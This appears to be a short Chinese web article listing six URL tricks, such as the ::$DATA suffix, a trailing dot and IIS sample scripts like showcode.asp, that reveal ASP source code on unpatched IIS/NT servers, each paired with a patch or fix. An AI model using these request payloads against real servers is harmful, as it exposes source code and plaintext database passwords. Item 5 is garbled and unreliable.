偷看ASP原码的6种方法
减小字体
增大字体在没有打Services Pack6补丁的NT server上，至少有6种方法可以看到ASP程序的源代码,它们是:
1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解决方案:删除showcode.asp
2、$DATA">http://somewhere/something.asp::$DATA
解决方案: 装sp3
3、http://somewhere/something.asp.
解决方案: 装sp4
or http://somewhere/something.asp.(加一个点)
解决方案: 装sp4
4、http://somewhere/something.Asp
或者 http://somewhere/something.%asp
解决方案: 装sp4
5、http://somewhere/something.asp
解决方案:装sp6或者打补丁
6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp
最大的危害莫过于asp文件可以被上述方式读出；数据库密码以明文形式暴露在黑客眼前;
Tags：
作者：无从考证
- 好的评价 如果您觉得此文章好，就请您
0%(0) 
- 差的评价 如果您觉得此文章差，就请您
0%(0) 
中查找“偷看ASP原码的6种方法”更多相关内容
中查找“偷看ASP原码的6种方法”更多相关内容评论内容只代表网友观点，与本站立场无关！
评论摘要(共 0 条，得分 0 分，平均 0 分)
查看完整评论